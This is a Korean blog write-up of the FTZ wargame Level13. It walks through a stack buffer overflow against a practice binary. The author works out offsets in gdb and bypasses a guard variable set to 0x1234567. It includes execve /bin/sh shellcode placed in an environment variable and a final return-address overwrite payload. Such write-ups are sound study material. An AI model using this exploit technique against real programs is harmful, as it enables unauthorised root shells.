ii4gsp

FTZ - Level13 본문

시스템 해킹/FTZ

FTZ - Level13

ii4gsp 2020. 1. 8. 20:35

힌트파일을 보니 i가 0x1234567이 아니라면 프로그램이 죽어버린다.

변수 i가 buf보다 먼저 선언되었으므로

i의 시작주소가 buf의 시작주소보다 높은 것을 알 수 있다.

 

 

 

 

gdb로 attackme파일을 열고 disas main을 해주고

<main+3>은 0x418byte만큼 빼주고  0x418은 10진수로 1048이다.

  buf가 1024byte이고 long i가 4byte이니  dummy는 20byte이다.

<main+54>에서 fffffbe8을 2진수로 1011 1110 1000인데 1의 보수를 구해주면 0100 0001 0111인데 2의 보수를 해주면 + 1이 되기때문에 10진수로 1048이 된다

buf에서 ebp까지의 거리는 1048byte이다.

ebp와 ret의 거리는 4byte차이기 때문에 buf에서 ret까지의 거리는 1052byte이다.

<main+69>은 0x1234567와 i를 비교하는 부분이다.

0xfffffff4는 2진수로 1111 1111 1111 0100인데 1의 보수를 해주면 0000 0000 0000 1011인데 2의 보수를 해주면 +1이 됨으로 12가된다 i와 buf의 거리는 12byte이다.

i와 ret까지의 거리는 16byte이다.

 

 

 

 

i의 주소인 ff4와 buf의 주소 be8의 거리를 구해보면 1036byte가 나온다.

buf에 1036byte만큼 입력해주고 0x1234567로 채워주면 if문을 실행시키지 않을수 있을것이다.

 

 

 

 

buf의 주소를 알아내기 위해 strcpy()함수가 실행된후인 <main+66>부분에 break point를 걸어주도록 하겠다.

지금까지의 스택구조를 보면

buf[1024byte] + dummy[12byte] + i [4byte] + dummy[8byte] + sfp[4byte] + ret[4byte] = 1056byte

 

 

 

 

r $(python -c 'print "A" * 1056')

위의 명령어로 1056byte를 채워주었다.

buf의 주소는 0xbfffd420이다.

 

 

 

 

buf[1024byte] + dummy[12byte] + 0x1234567 + "\x90" * 12 + ret[4byte]

0x1234567은 리틀 엔디언 방식으로 거꾸로 \x67\x45\x32\x01로 넣어줘야한다.

$(python -c 'print "\x90" *1036 + "\x67\x45\x23\x01" + "\x90" * 12 + "ret"')

 

 

 

 

25byte 쉘 코드를 환경변수에 등록해주고 쉘 코드 주소를 ret에 넣어주면 될것이다.

환경변수 등록

export shellcode=$(python -c 'print "\x90" * 20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

 

 

 

 

./attackme $(python -c 'print "NOP" * (buf + dummy) + "\x67\x45\x23\x01" + "NOP" *  (dummy + stp) + "쉘 코드"')

payload는 이렇게 될것이다.

 

 

 

 

최종 payload를 넣어주면 쉘을 획득할수 있을것이다.

./attackme $(python -c 'print "\x90" * 1036 + "\x67\x45\x23\x01" + "\x90" * 12 + "\xee\xfe\xff\xbf"')

 

'시스템 해킹 > FTZ' 카테고리의 다른 글

FTZ - Level15  (0) 2020.01.10
FTZ - Level14  (0) 2020.01.09
FTZ - Level12  (0) 2020.01.08
FTZ - Level11  (0) 2020.01.07
FTZ - Level9  (0) 2020.01.06
Comments